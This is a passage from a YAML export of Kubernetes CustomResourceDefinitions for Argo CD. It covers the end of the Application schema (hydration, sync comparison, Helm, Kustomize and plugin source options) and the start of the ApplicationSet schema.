                                    hydrated manifests should be committed
                                  type: string
                              required:
                              - targetBranch
                              type: object
                            syncSource:
                              description: SyncSource specifies where to sync hydrated
                                manifests from.
                              properties:
                                path:
                                  description: |-
                                    Path is a directory path within the git repository where hydrated manifests should be committed to and synced
                                    from. If hydrateTo is set, this is just the path from which hydrated manifests will be synced.
                                  type: string
                                targetBranch:
                                  description: TargetBranch is the branch to which
                                    hydrated manifests should be committed
                                  type: string
                              required:
                              - path
                              - targetBranch
                              type: object
                          required:
                          - drySource
                          - syncSource
                          type: object
                        startedAt:
                          description: StartedAt indicates when the hydrate operation
                            started
                          format: date-time
                          type: string
                      required:
                      - message
                      - phase
                      type: object
                    lastSuccessfulOperation:
                      description: LastSuccessfulOperation holds info about the most
                        recent successful hydration
                      properties:
                        drySHA:
                          description: DrySHA holds the resolved revision (sha) of
                            the dry source as of the most recent reconciliation
                          type: string
                        hydratedSHA:
                          description: HydratedSHA holds the resolved revision (sha)
                            of the hydrated source as of the most recent reconciliation
                          type: string
                        sourceHydrator:
                          description: SourceHydrator holds the hydrator config used
                            for the hydrate operation
                          properties:
                            drySource:
                              description: DrySource specifies where the dry "don't
                                repeat yourself" manifest source lives.
                              properties:
                                path:
                                  description: Path is a directory path within the
                                    Git repository where the manifests are located
                                  type: string
                                repoURL:
                                  description: RepoURL is the URL to the git repository
                                    that contains the application manifests
                                  type: string
                                targetRevision:
                                  description: TargetRevision defines the revision
                                    of the source to hydrate
                                  type: string
                              required:
                              - path
                              - repoURL
                              - targetRevision
                              type: object
                            hydrateTo:
                              description: |-
                                HydrateTo specifies an optional "staging" location to push hydrated manifests to. An external system would then
                                have to move manifests to the SyncSource, e.g. by pull request.
                              properties:
                                targetBranch:
                                  description: TargetBranch is the branch to which
                                    hydrated manifests should be committed
                                  type: string
                              required:
                              - targetBranch
                              type: object
                            syncSource:
                              description: SyncSource specifies where to sync hydrated
                                manifests from.
                              properties:
                                path:
                                  description: |-
                                    Path is a directory path within the git repository where hydrated manifests should be committed to and synced
                                    from. If hydrateTo is set, this is just the path from which hydrated manifests will be synced.
                                  type: string
                                targetBranch:
                                  description: TargetBranch is the branch to which
                                    hydrated manifests should be committed
                                  type: string
                              required:
                              - path
                              - targetBranch
                              type: object
                          required:
                          - drySource
                          - syncSource
                          type: object
                      type: object
                  type: object
                sourceType:
                  description: SourceType specifies the type of this application
                  type: string
                sourceTypes:
                  description: SourceTypes specifies the type of the sources included
                    in the application
                  items:
                    description: ApplicationSourceType specifies the type of the application's
                      source
                    type: string
                  type: array
                summary:
                  description: Summary contains a list of URLs and container images
                    used by this application
                  properties:
                    externalURLs:
                      description: ExternalURLs holds all external URLs of application
                        child resources.
                      items:
                        type: string
                      type: array
                    images:
                      description: Images holds all images of application child resources.
                      items:
                        type: string
                      type: array
                  type: object
                sync:
                  description: Sync contains information about the application's current
                    sync status
                  properties:
                    comparedTo:
                      description: ComparedTo contains information about what has
                        been compared
                      properties:
                        destination:
                          description: Destination is a reference to the application's
                            destination used for comparison
                          properties:
                            name:
                              description: Name is an alternate way of specifying
                                the target cluster by its symbolic name. This must
                                be set if Server is not set.
                              type: string
                            namespace:
                              description: |-
                                Namespace specifies the target namespace for the application's resources.
                                The namespace will only be set for namespace-scoped resources that have not set a value for .metadata.namespace
                              type: string
                            server:
                              description: Server specifies the URL of the target
                                cluster's Kubernetes control plane API. This must
                                be set if Name is not set.
                              type: string
                          type: object
                        ignoreDifferences:
                          description: IgnoreDifferences is a reference to the application's
                            ignored differences used for comparison
                          items:
                            description: ResourceIgnoreDifferences contains resource
                              filter and list of json paths which should be ignored
                              during comparison with live state.
                            properties:
                              group:
                                type: string
                              jqPathExpressions:
                                items:
                                  type: string
                                type: array
                              jsonPointers:
                                items:
                                  type: string
                                type: array
                              kind:
                                type: string
                              managedFieldsManagers:
                                description: |-
                                  ManagedFieldsManagers is a list of trusted managers. Fields mutated by those managers will take precedence over the
                                  desired state defined in the SCM and won't be displayed in diffs
                                items:
                                  type: string
                                type: array
                              name:
                                type: string
                              namespace:
                                type: string
                            required:
                            - kind
                            type: object
                          type: array
                        source:
                          description: Source is a reference to the application's
                            source used for comparison
                          properties:
                            chart:
                              description: Chart is a Helm chart name, and must be
                                specified for applications sourced from a Helm repo.
                              type: string
                            directory:
                              description: Directory holds path/directory specific
                                options
                              properties:
                                exclude:
                                  description: Exclude contains a glob pattern to
                                    match paths against that should be explicitly
                                    excluded from being used during manifest generation
                                  type: string
                                include:
                                  description: Include contains a glob pattern to
                                    match paths against that should be explicitly
                                    included during manifest generation
                                  type: string
                                jsonnet:
                                  description: Jsonnet holds options specific to Jsonnet
                                  properties:
                                    extVars:
                                      description: ExtVars is a list of Jsonnet External
                                        Variables
                                      items:
                                        description: JsonnetVar represents a variable
                                          to be passed to jsonnet during manifest
                                          generation
                                        properties:
                                          code:
                                            type: boolean
                                          name:
                                            type: string
                                          value:
                                            type: string
                                        required:
                                        - name
                                        - value
                                        type: object
                                      type: array
                                    libs:
                                      description: Additional library search dirs
                                      items:
                                        type: string
                                      type: array
                                    tlas:
                                      description: TLAS is a list of Jsonnet Top-level
                                        Arguments
                                      items:
                                        description: JsonnetVar represents a variable
                                          to be passed to jsonnet during manifest
                                          generation
                                        properties:
                                          code:
                                            type: boolean
                                          name:
                                            type: string
                                          value:
                                            type: string
                                        required:
                                        - name
                                        - value
                                        type: object
                                      type: array
                                  type: object
                                recurse:
                                  description: Recurse specifies whether to scan a
                                    directory recursively for manifests
                                  type: boolean
                              type: object
                            helm:
                              description: Helm holds helm specific options
                              properties:
                                apiVersions:
                                  description: |-
                                    APIVersions specifies the Kubernetes resource API versions to pass to Helm when templating manifests. By default,
                                    Argo CD uses the API versions of the target cluster. The format is [group/]version/kind.
                                  items:
                                    type: string
                                  type: array
                                fileParameters:
                                  description: FileParameters are file parameters
                                    to the helm template
                                  items:
                                    description: HelmFileParameter is a file parameter
                                      that's passed to helm template during manifest
                                      generation
                                    properties:
                                      name:
                                        description: Name is the name of the Helm
                                          parameter
                                        type: string
                                      path:
                                        description: Path is the path to the file
                                          containing the values for the Helm parameter
                                        type: string
                                    type: object
                                  type: array
                                ignoreMissingValueFiles:
                                  description: IgnoreMissingValueFiles prevents helm
                                    template from failing when valueFiles do not exist
                                    locally by not appending them to helm template
                                    --values
                                  type: boolean
                                kubeVersion:
                                  description: |-
                                    KubeVersion specifies the Kubernetes API version to pass to Helm when templating manifests. By default, Argo CD
                                    uses the Kubernetes version of the target cluster.
                                  type: string
                                namespace:
                                  description: Namespace is an optional namespace
                                    to template with. If left empty, defaults to the
                                    app's destination namespace.
                                  type: string
                                parameters:
                                  description: Parameters is a list of Helm parameters
                                    which are passed to the helm template command
                                    upon manifest generation
                                  items:
                                    description: HelmParameter is a parameter that's
                                      passed to helm template during manifest generation
                                    properties:
                                      forceString:
                                        description: ForceString determines whether
                                          to tell Helm to interpret booleans and numbers
                                          as strings
                                        type: boolean
                                      name:
                                        description: Name is the name of the Helm
                                          parameter
                                        type: string
                                      value:
                                        description: Value is the value for the Helm
                                          parameter
                                        type: string
                                    type: object
                                  type: array
                                passCredentials:
                                  description: PassCredentials pass credentials to
                                    all domains (Helm's --pass-credentials)
                                  type: boolean
                                releaseName:
                                  description: ReleaseName is the Helm release name
                                    to use. If omitted it will use the application
                                    name
                                  type: string
                                skipCrds:
                                  description: SkipCrds skips custom resource definition
                                    installation step (Helm's --skip-crds)
                                  type: boolean
                                skipSchemaValidation:
                                  description: SkipSchemaValidation skips JSON schema
                                    validation (Helm's --skip-schema-validation)
                                  type: boolean
                                skipTests:
                                  description: SkipTests skips test manifest installation
                                    step (Helm's --skip-tests).
                                  type: boolean
                                valueFiles:
                                  description: ValuesFiles is a list of Helm value
                                    files to use when generating a template
                                  items:
                                    type: string
                                  type: array
                                values:
                                  description: Values specifies Helm values to be
                                    passed to helm template, typically defined as
                                    a block. ValuesObject takes precedence over Values,
                                    so use one or the other.
                                  type: string
                                valuesObject:
                                  description: ValuesObject specifies Helm values
                                    to be passed to helm template, defined as a map.
                                    This takes precedence over Values.
                                  type: object
                                  x-kubernetes-preserve-unknown-fields: true
                                version:
                                  description: Version is the Helm version to use
                                    for templating ("3")
                                  type: string
                              type: object
                            kustomize:
                              description: Kustomize holds kustomize specific options
                              properties:
                                apiVersions:
                                  description: |-
                                    APIVersions specifies the Kubernetes resource API versions to pass to Helm when templating manifests. By default,
                                    Argo CD uses the API versions of the target cluster. The format is [group/]version/kind.
                                  items:
                                    type: string
                                  type: array
                                commonAnnotations:
                                  additionalProperties:
                                    type: string
                                  description: CommonAnnotations is a list of additional
                                    annotations to add to rendered manifests
                                  type: object
                                commonAnnotationsEnvsubst:
                                  description: CommonAnnotationsEnvsubst specifies
                                    whether to apply env variables substitution for
                                    annotation values
                                  type: boolean
                                commonLabels:
                                  additionalProperties:
                                    type: string
                                  description: CommonLabels is a list of additional
                                    labels to add to rendered manifests
                                  type: object
                                components:
                                  description: Components specifies a list of kustomize
                                    components to add to the kustomization before
                                    building
                                  items:
                                    type: string
                                  type: array
                                forceCommonAnnotations:
                                  description: ForceCommonAnnotations specifies whether
                                    to force applying common annotations to resources
                                    for Kustomize apps
                                  type: boolean
                                forceCommonLabels:
                                  description: ForceCommonLabels specifies whether
                                    to force applying common labels to resources for
                                    Kustomize apps
                                  type: boolean
                                ignoreMissingComponents:
                                  description: IgnoreMissingComponents prevents kustomize
                                    from failing when components do not exist locally
                                    by not appending them to kustomization file
                                  type: boolean
                                images:
                                  description: Images is a list of Kustomize image
                                    override specifications
                                  items:
                                    description: KustomizeImage represents a Kustomize
                                      image definition in the format [old_image_name=]<image_name>:<image_tag>
                                    type: string
                                  type: array
                                kubeVersion:
                                  description: |-
                                    KubeVersion specifies the Kubernetes API version to pass to Helm when templating manifests. By default, Argo CD
                                    uses the Kubernetes version of the target cluster.
                                  type: string
                                labelIncludeTemplates:
                                  description: LabelIncludeTemplates specifies whether
                                    to apply common labels to resource templates or
                                    not
                                  type: boolean
                                labelWithoutSelector:
                                  description: LabelWithoutSelector specifies whether
                                    to apply common labels to resource selectors or
                                    not
                                  type: boolean
                                namePrefix:
                                  description: NamePrefix is a prefix appended to
                                    resources for Kustomize apps
                                  type: string
                                nameSuffix:
                                  description: NameSuffix is a suffix appended to
                                    resources for Kustomize apps
                                  type: string
                                namespace:
                                  description: Namespace sets the namespace that Kustomize
                                    adds to all resources
                                  type: string
                                patches:
                                  description: Patches is a list of Kustomize patches
                                  items:
                                    properties:
                                      options:
                                        additionalProperties:
                                          type: boolean
                                        type: object
                                      patch:
                                        type: string
                                      path:
                                        type: string
                                      target:
                                        properties:
                                          annotationSelector:
                                            type: string
                                          group:
                                            type: string
                                          kind:
                                            type: string
                                          labelSelector:
                                            type: string
                                          name:
                                            type: string
                                          namespace:
                                            type: string
                                          version:
                                            type: string
                                        type: object
                                    type: object
                                  type: array
                                replicas:
                                  description: Replicas is a list of Kustomize Replicas
                                    override specifications
                                  items:
                                    properties:
                                      count:
                                        anyOf:
                                        - type: integer
                                        - type: string
                                        description: Number of replicas
                                        x-kubernetes-int-or-string: true
                                      name:
                                        description: Name of Deployment or StatefulSet
                                        type: string
                                    required:
                                    - count
                                    - name
                                    type: object
                                  type: array
                                version:
                                  description: Version controls which version of Kustomize
                                    to use for rendering manifests
                                  type: string
                              type: object
                            name:
                              description: Name is used to refer to a source and is
                                displayed in the UI. It is used in multi-source Applications.
                              type: string
                            path:
                              description: Path is a directory path within the Git
                                repository, and is only valid for applications sourced
                                from Git.
                              type: string
                            plugin:
                              description: Plugin holds config management plugin specific
                                options
                              properties:
                                env:
                                  description: Env is a list of environment variable
                                    entries
                                  items:
                                    description: EnvEntry represents an entry in the
                                      application's environment
                                    properties:
                                      name:
                                        description: Name is the name of the variable,
                                          usually expressed in uppercase
                                        type: string
                                      value:
                                        description: Value is the value of the variable
                                        type: string
                                    required:
                                    - name
                                    - value
                                    type: object
                                  type: array
                                name:
                                  type: string
                                parameters:
                                  items:
                                    properties:
                                      array:
                                        description: Array is the value of an array
                                          type parameter.
                                        items:
                                          type: string
                                        type: array
                                      map:
                                        additionalProperties:
                                          type: string
                                        description: Map is the value of a map type
                                          parameter.
                                        type: object
                                      name:
                                        description: Name is the name identifying
                                          a parameter.
                                        type: string
                                      string:
                                        description: String_ is the value of a string
                                          type parameter.
                                        type: string
                                    type: object
                                  type: array
                              type: object
                            ref:
                              description: Ref is reference to another source within
                                sources field. This field will not be used if used
                                with a `source` tag.
                              type: string
                            repoURL:
                              description: RepoURL is the URL to the repository (Git
                                or Helm) that contains the application manifests
                              type: string
                            targetRevision:
                              description: |-
                                TargetRevision defines the revision of the source to sync the application to.
                                In case of Git, this can be commit, tag, or branch. If omitted, will equal to HEAD.
                                In case of Helm, this is a semver tag for the Chart's version.
                              type: string
                          required:
                          - repoURL
                          type: object
                        sources:
                          description: Sources is a reference to the application's
                            multiple sources used for comparison
                          items:
                            description: ApplicationSource contains all required information
                              about the source of an application
                            properties:
                              chart:
                                description: Chart is a Helm chart name, and must
                                  be specified for applications sourced from a Helm
                                  repo.
                                type: string
                              directory:
                                description: Directory holds path/directory specific
                                  options
                                properties:
                                  exclude:
                                    description: Exclude contains a glob pattern to
                                      match paths against that should be explicitly
                                      excluded from being used during manifest generation
                                    type: string
                                  include:
                                    description: Include contains a glob pattern to
                                      match paths against that should be explicitly
                                      included during manifest generation
                                    type: string
                                  jsonnet:
                                    description: Jsonnet holds options specific to
                                      Jsonnet
                                    properties:
                                      extVars:
                                        description: ExtVars is a list of Jsonnet
                                          External Variables
                                        items:
                                          description: JsonnetVar represents a variable
                                            to be passed to jsonnet during manifest
                                            generation
                                          properties:
                                            code:
                                              type: boolean
                                            name:
                                              type: string
                                            value:
                                              type: string
                                          required:
                                          - name
                                          - value
                                          type: object
                                        type: array
                                      libs:
                                        description: Additional library search dirs
                                        items:
                                          type: string
                                        type: array
                                      tlas:
                                        description: TLAS is a list of Jsonnet Top-level
                                          Arguments
                                        items:
                                          description: JsonnetVar represents a variable
                                            to be passed to jsonnet during manifest
                                            generation
                                          properties:
                                            code:
                                              type: boolean
                                            name:
                                              type: string
                                            value:
                                              type: string
                                          required:
                                          - name
                                          - value
                                          type: object
                                        type: array
                                    type: object
                                  recurse:
                                    description: Recurse specifies whether to scan
                                      a directory recursively for manifests
                                    type: boolean
                                type: object
                              helm:
                                description: Helm holds helm specific options
                                properties:
                                  apiVersions:
                                    description: |-
                                      APIVersions specifies the Kubernetes resource API versions to pass to Helm when templating manifests. By default,
                                      Argo CD uses the API versions of the target cluster. The format is [group/]version/kind.
                                    items:
                                      type: string
                                    type: array
                                  fileParameters:
                                    description: FileParameters are file parameters
                                      to the helm template
                                    items:
                                      description: HelmFileParameter is a file parameter
                                        that's passed to helm template during manifest
                                        generation
                                      properties:
                                        name:
                                          description: Name is the name of the Helm
                                            parameter
                                          type: string
                                        path:
                                          description: Path is the path to the file
                                            containing the values for the Helm parameter
                                          type: string
                                      type: object
                                    type: array
                                  ignoreMissingValueFiles:
                                    description: IgnoreMissingValueFiles prevents
                                      helm template from failing when valueFiles do
                                      not exist locally by not appending them to helm
                                      template --values
                                    type: boolean
                                  kubeVersion:
                                    description: |-
                                      KubeVersion specifies the Kubernetes API version to pass to Helm when templating manifests. By default, Argo CD
                                      uses the Kubernetes version of the target cluster.
                                    type: string
                                  namespace:
                                    description: Namespace is an optional namespace
                                      to template with. If left empty, defaults to
                                      the app's destination namespace.
                                    type: string
                                  parameters:
                                    description: Parameters is a list of Helm parameters
                                      which are passed to the helm template command
                                      upon manifest generation
                                    items:
                                      description: HelmParameter is a parameter that's
                                        passed to helm template during manifest generation
                                      properties:
                                        forceString:
                                          description: ForceString determines whether
                                            to tell Helm to interpret booleans and
                                            numbers as strings
                                          type: boolean
                                        name:
                                          description: Name is the name of the Helm
                                            parameter
                                          type: string
                                        value:
                                          description: Value is the value for the
                                            Helm parameter
                                          type: string
                                      type: object
                                    type: array
                                  passCredentials:
                                    description: PassCredentials pass credentials
                                      to all domains (Helm's --pass-credentials)
                                    type: boolean
                                  releaseName:
                                    description: ReleaseName is the Helm release name
                                      to use. If omitted it will use the application
                                      name
                                    type: string
                                  skipCrds:
                                    description: SkipCrds skips custom resource definition
                                      installation step (Helm's --skip-crds)
                                    type: boolean
                                  skipSchemaValidation:
                                    description: SkipSchemaValidation skips JSON schema
                                      validation (Helm's --skip-schema-validation)
                                    type: boolean
                                  skipTests:
                                    description: SkipTests skips test manifest installation
                                      step (Helm's --skip-tests).
                                    type: boolean
                                  valueFiles:
                                    description: ValuesFiles is a list of Helm value
                                      files to use when generating a template
                                    items:
                                      type: string
                                    type: array
                                  values:
                                    description: Values specifies Helm values to be
                                      passed to helm template, typically defined as
                                      a block. ValuesObject takes precedence over
                                      Values, so use one or the other.
                                    type: string
                                  valuesObject:
                                    description: ValuesObject specifies Helm values
                                      to be passed to helm template, defined as a
                                      map. This takes precedence over Values.
                                    type: object
                                    x-kubernetes-preserve-unknown-fields: true
                                  version:
                                    description: Version is the Helm version to use
                                      for templating ("3")
                                    type: string
                                type: object
                              kustomize:
                                description: Kustomize holds kustomize specific options
                                properties:
                                  apiVersions:
                                    description: |-
                                      APIVersions specifies the Kubernetes resource API versions to pass to Helm when templating manifests. By default,
                                      Argo CD uses the API versions of the target cluster. The format is [group/]version/kind.
                                    items:
                                      type: string
                                    type: array
                                  commonAnnotations:
                                    additionalProperties:
                                      type: string
                                    description: CommonAnnotations is a list of additional
                                      annotations to add to rendered manifests
                                    type: object
                                  commonAnnotationsEnvsubst:
                                    description: CommonAnnotationsEnvsubst specifies
                                      whether to apply env variables substitution
                                      for annotation values
                                    type: boolean
                                  commonLabels:
                                    additionalProperties:
                                      type: string
                                    description: CommonLabels is a list of additional
                                      labels to add to rendered manifests
                                    type: object
                                  components:
                                    description: Components specifies a list of kustomize
                                      components to add to the kustomization before
                                      building
                                    items:
                                      type: string
                                    type: array
                                  forceCommonAnnotations:
                                    description: ForceCommonAnnotations specifies
                                      whether to force applying common annotations
                                      to resources for Kustomize apps
                                    type: boolean
                                  forceCommonLabels:
                                    description: ForceCommonLabels specifies whether
                                      to force applying common labels to resources
                                      for Kustomize apps
                                    type: boolean
                                  ignoreMissingComponents:
                                    description: IgnoreMissingComponents prevents
                                      kustomize from failing when components do not
                                      exist locally by not appending them to kustomization
                                      file
                                    type: boolean
                                  images:
                                    description: Images is a list of Kustomize image
                                      override specifications
                                    items:
                                      description: KustomizeImage represents a Kustomize
                                        image definition in the format [old_image_name=]<image_name>:<image_tag>
                                      type: string
                                    type: array
                                  kubeVersion:
                                    description: |-
                                      KubeVersion specifies the Kubernetes API version to pass to Helm when templating manifests. By default, Argo CD
                                      uses the Kubernetes version of the target cluster.
                                    type: string
                                  labelIncludeTemplates:
                                    description: LabelIncludeTemplates specifies whether
                                      to apply common labels to resource templates
                                      or not
                                    type: boolean
                                  labelWithoutSelector:
                                    description: LabelWithoutSelector specifies whether
                                      to apply common labels to resource selectors
                                      or not
                                    type: boolean
                                  namePrefix:
                                    description: NamePrefix is a prefix appended to
                                      resources for Kustomize apps
                                    type: string
                                  nameSuffix:
                                    description: NameSuffix is a suffix appended to
                                      resources for Kustomize apps
                                    type: string
                                  namespace:
                                    description: Namespace sets the namespace that
                                      Kustomize adds to all resources
                                    type: string
                                  patches:
                                    description: Patches is a list of Kustomize patches
                                    items:
                                      properties:
                                        options:
                                          additionalProperties:
                                            type: boolean
                                          type: object
                                        patch:
                                          type: string
                                        path:
                                          type: string
                                        target:
                                          properties:
                                            annotationSelector:
                                              type: string
                                            group:
                                              type: string
                                            kind:
                                              type: string
                                            labelSelector:
                                              type: string
                                            name:
                                              type: string
                                            namespace:
                                              type: string
                                            version:
                                              type: string
                                          type: object
                                      type: object
                                    type: array
                                  replicas:
                                    description: Replicas is a list of Kustomize Replicas
                                      override specifications
                                    items:
                                      properties:
                                        count:
                                          anyOf:
                                          - type: integer
                                          - type: string
                                          description: Number of replicas
                                          x-kubernetes-int-or-string: true
                                        name:
                                          description: Name of Deployment or StatefulSet
                                          type: string
                                      required:
                                      - count
                                      - name
                                      type: object
                                    type: array
                                  version:
                                    description: Version controls which version of
                                      Kustomize to use for rendering manifests
                                    type: string
                                type: object
                              name:
                                description: Name is used to refer to a source and
                                  is displayed in the UI. It is used in multi-source
                                  Applications.
                                type: string
                              path:
                                description: Path is a directory path within the Git
                                  repository, and is only valid for applications sourced
                                  from Git.
                                type: string
                              plugin:
                                description: Plugin holds config management plugin
                                  specific options
                                properties:
                                  env:
                                    description: Env is a list of environment variable
                                      entries
                                    items:
                                      description: EnvEntry represents an entry in
                                        the application's environment
                                      properties:
                                        name:
                                          description: Name is the name of the variable,
                                            usually expressed in uppercase
                                          type: string
                                        value:
                                          description: Value is the value of the variable
                                          type: string
                                      required:
                                      - name
                                      - value
                                      type: object
                                    type: array
                                  name:
                                    type: string
                                  parameters:
                                    items:
                                      properties:
                                        array:
                                          description: Array is the value of an array
                                            type parameter.
                                          items:
                                            type: string
                                          type: array
                                        map:
                                          additionalProperties:
                                            type: string
                                          description: Map is the value of a map type
                                            parameter.
                                          type: object
                                        name:
                                          description: Name is the name identifying
                                            a parameter.
                                          type: string
                                        string:
                                          description: String_ is the value of a string
                                            type parameter.
                                          type: string
                                      type: object
                                    type: array
                                type: object
                              ref:
                                description: Ref is reference to another source within
                                  sources field. This field will not be used if used
                                  with a `source` tag.
                                type: string
                              repoURL:
                                description: RepoURL is the URL to the repository
                                  (Git or Helm) that contains the application manifests
                                type: string
                              targetRevision:
                                description: |-
                                  TargetRevision defines the revision of the source to sync the application to.
                                  In case of Git, this can be commit, tag, or branch. If omitted, will equal to HEAD.
                                  In case of Helm, this is a semver tag for the Chart's version.
                                type: string
                            required:
                            - repoURL
                            type: object
                          type: array
                      required:
                      - destination
                      type: object
                    revision:
                      description: Revision contains information about the revision
                        the comparison has been performed to
                      type: string
                    revisions:
                      description: Revisions contains information about the revisions
                        of multiple sources the comparison has been performed to
                      items:
                        type: string
                      type: array
                    status:
                      description: Status is the sync state of the comparison
                      type: string
                  required:
                  - status
                  type: object
              type: object
          required:
          - metadata
          - spec
          type: object
      served: true
      storage: true
      subresources: {}
  status:
    acceptedNames:
      kind: Application
      listKind: ApplicationList
      plural: applications
      shortNames:
      - app
      - apps
      singular: application
    conditions:
    - lastTransitionTime: "2025-09-21T20:15:12Z"
      message: no conflicts found
      reason: NoConflicts
      status: "True"
      type: NamesAccepted
    - lastTransitionTime: "2025-09-21T20:15:13Z"
      message: the initial names have been accepted
      reason: InitialNamesAccepted
      status: "True"
      type: Established
    storedVersions:
    - v1alpha1
- apiVersion: apiextensions.k8s.io/v1
  kind: CustomResourceDefinition
  metadata:
    annotations:
      helm.sh/resource-policy: keep
      meta.helm.sh/release-name: argocd
      meta.helm.sh/release-namespace: argocd
    creationTimestamp: "2025-09-21T20:15:12Z"
    generation: 1
    labels:
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: applicationsets.argoproj.io
      app.kubernetes.io/part-of: argocd
    name: applicationsets.argoproj.io
    resourceVersion: "75035"
    uid: c4fe7c51-0d17-4d68-8441-325e9cbe8e1c
  spec:
    conversion:
      strategy: None
    group: argoproj.io
    names:
      kind: ApplicationSet
      listKind: ApplicationSetList
      plural: applicationsets
      shortNames:
      - appset
      - appsets
      singular: applicationset
    scope: Namespaced
    versions:
    - name: v1alpha1
      schema:
        openAPIV3Schema:
          properties:
            apiVersion:
              type: string
            kind:
              type: string
            metadata:
              type: object
            spec:
              properties:
                applyNestedSelectors:
                  type: boolean
                generators:
                  items:
                    properties:
                      clusterDecisionResource:
                        properties:
                          configMapRef:
                            type: string
                          labelSelector:
                            properties:
                              matchExpressions:
                                items:
                                  properties:
                                    key:
                                      type: string
                                    operator:
                                      type: string
                                    values:
                                      items:
                                        type: string
                                      type: array
                                      x-kubernetes-list-type: atomic
                                  required:
                                  - key
                                  - operator
                                  type: object
                                type: array
                                x-kubernetes-list-type: atomic
                              matchLabels:
                                additionalProperties:
                                  type: string
                                type: object
                            type: object
                            x-kubernetes-map-type: atomic
                          name:
                            type: string
                          requeueAfterSeconds:
                            format: int64
                            type: integer
                          template:
                            properties:
                              metadata:
                                properties:
                                  annotations:
                                    additionalProperties:
                                      type: string
                                    type: object
                                  finalizers:
                                    items:
                                      type: string
                                    type: array
                                  labels:
                                    additionalProperties:
                                      type: string
                                    type: object
                                  name:
                                    type: string
                                  namespace:
                                    type: string
                                type: object
                              spec:
                                properties:
                                  destination:
                                    properties:
                                      name:
                                        type: string
                                      namespace:
                                        type: string
                                      server:
                                        type: string
                                    type: object
                                  ignoreDifferences:
                                    items:
                                      properties:
                                        group:
                                          type: string
                                        jqPathExpressions:
                                          items:
                                            type: string
                                          type: array
                                        jsonPointers:
                                          items:
                                            type: string
                                          type: array
                                        kind:
                                          type: string
                                        managedFieldsManagers:
                                          items:
                                            type: string
                                          type: array
                                        name:
                                          type: string
                                        namespace:
                                          type: string
                                      required:
                                      - kind
                                      type: object
                                    type: array
                                  info:
                                    items:
                                      properties:
                                        name:
                                          type: string
                                        value:
                                          type: string
                                      required:
                                      - name
                                      - value
                                      type: object
                                    type: array
                                  project:
                                    type: string
                                  revisionHistoryLimit:
                                    format: int64
                                    type: integer
                                  source:
                                    properties:
                                      chart:
                                        type: string
                                      directory:
                                        properties:
                                          exclude:
                                            type: string
                                          include:
                                            type: string
                                          jsonnet:
                                            properties:
                                              extVars:
                                                items:
                                                  properties:
                                                    code:
                                                      type: boolean
                                                    name:
                                                      type: string
                                                    value:
                                                      type: string
                                                  required:
                                                  - name
                                                  - value
                                                  type: object
                                                type: array
                                              libs:
                                                items:
                                                  type: string
                                                type: array
                                              tlas:
                                                items:
                                                  properties:
                                                    code:
                                                      type: boolean
                                                    name:
                                                      type: string
                                                    value:
                                                      type: string
                                                  required:
                                                  - name
                                                  - value
                                                  type: object
                                                type: array
                                            type: object
                                          recurse:
                                            type: boolean
                                        type: object
                                      helm:
                                        properties:
                                          apiVersions:
                                            items:
                                              type: string
                                            type: array
                                          fileParameters:
                                            items:
                                              properties:
                                                name:
                                                  type: string
                                                path:
                                                  type: string
                                              type: object
                                            type: array
                                          ignoreMissingValueFiles:
                                            type: boolean
                                          kubeVersion:
                                            type: string
                                          namespace:
                                            type: string
                                          parameters:
                                            items:
                                              properties:
                                                forceString:
                                                  type: boolean
                                                name:
                                                  type: string
                                                value:
                                                  type: string
                                              type: object
                                            type: array
                                          passCredentials:
                                            type: boolean
                                          releaseName:
                                            type: string
                                          skipCrds:
                                            type: boolean
                                          skipSchemaValidation:
                                            type: boolean
                                          skipTests:
                                            type: boolean
                                          valueFiles:
                                            items:
                                              type: string
                                            type: array
                                          values:
                                            type: string
                                          valuesObject:
                                            type: object
                                            x-kubernetes-preserve-unknown-fields: true
                                          version:
                                            type: string
                                        type: object
                                      kustomize:
                                        properties:
                                          apiVersions:
                                            items:
                                              type: string
                                            type: array
                                          commonAnnotations:
                                            additionalProperties:
                                              type: string
                                            type: object
                                          commonAnnotationsEnvsubst:
                                            type: boolean
                                          commonLabels:
                                            additionalProperties:
                                              type: string
                                            type: object
                                          components:
                                            items:
                                              type: string
                                            type: array
                                          forceCommonAnnotations:
                                            type: boolean
                                          forceCommonLabels:
                                            type: boolean
                                          ignoreMissingComponents:
                                            type: boolean
                                          images:
                                            items:
                                              type: string
                                            type: array
                                          kubeVersion:
                                            type: string
                                          labelIncludeTemplates:
                                            type: boolean
                                          labelWithoutSelector:
                                            type: boolean
                                          namePrefix:
                                            type: string
                                          nameSuffix:
                                            type: string
                                          namespace:
                                            type: string
                                          patches:
                                            items:
                                              properties:
                                                options:
                                                  additionalProperties:
                                                    type: boolean
                                                  type: object
                                                patch:
                                                  type: string
                                                path:
                                                  type: string
                                                target:
                                                  properties:
                                                    annotationSelector:
                                                      type: string
                                                    group:
                                                      type: string
                                                    kind:
                                                      type: string
                                                    labelSelector:
                                                      type: string
                                                    name:
                                                      type: string
                                                    namespace:
                                                      type: string
                                                    version:
                                                      type: string
                                                  type: object
                                              type: object
                                            type: array
                                          replicas:
                                            items:
                                              properties:
                                                count:
                                                  anyOf:
                                                  - type: integer
                                                  - type: string
                                                  x-kubernetes-int-or-string: true
                                                name:
                                                  type: string
                                              required:
                                              - count
                                              - name
                                              type: object
                                            type: array
                                          version:
                                            type: string
                                        type: object
                                      name:
                                        type: string
                                      path:
                                        type: string
                                      plugin:
                                        properties:
                                          env:
                                            items:
                                              properties:
                                                name:
                                                  type: string
                                                value:
                                                  type: string
                                              required:
                                              - name
                                              - value
                                              type: object
                                            type: array
                                          name:
                                            type: string
                                          parameters:
                                            items:
                                              properties:
                                                array:
                                                  items:
                                                    type: string
                                                  type: array
                                                map:
                                                  additionalProperties:
                                                    type: string
                                                  type: object
                                                name:
                                                  type: string
                                                string:
                                                  type: string
                                              type: object
                                            type: array
                                        type: object
                                      ref:
                                        type: string
                                      repoURL:
                                        type: string
                                      targetRevision:
                                        type: string
                                    required:
                                    - repoURL
                                    type: object
                                  sourceHydrator:
                                    properties:
                                      drySource:
                                        properties:
                                          path:
                                            type: string
                                          repoURL:
                                            type: string
                                          targetRevision:
                                            type: string
                                        required:
                                        - path
                                        - repoURL
                                        - targetRevision
                                        type: object
                                      hydrateTo:
                                        properties:
                                          targetBranch:
                                            type: string
                                        required:
                                        - targetBranch
                                        type: object
                                      syncSource:
                                        properties:
                                          path:
                                            type: string
                                          targetBranch:
                                            type: string
                                        required:
                                        - path
                                        - targetBranch
                                        type: object
                                    required:
                                    - drySource
                                    - syncSource
                                    type: object
                                  sources:
                                    items:
                                      properties:
                                        chart:
                                          type: string
                                        directory:
                                          properties:
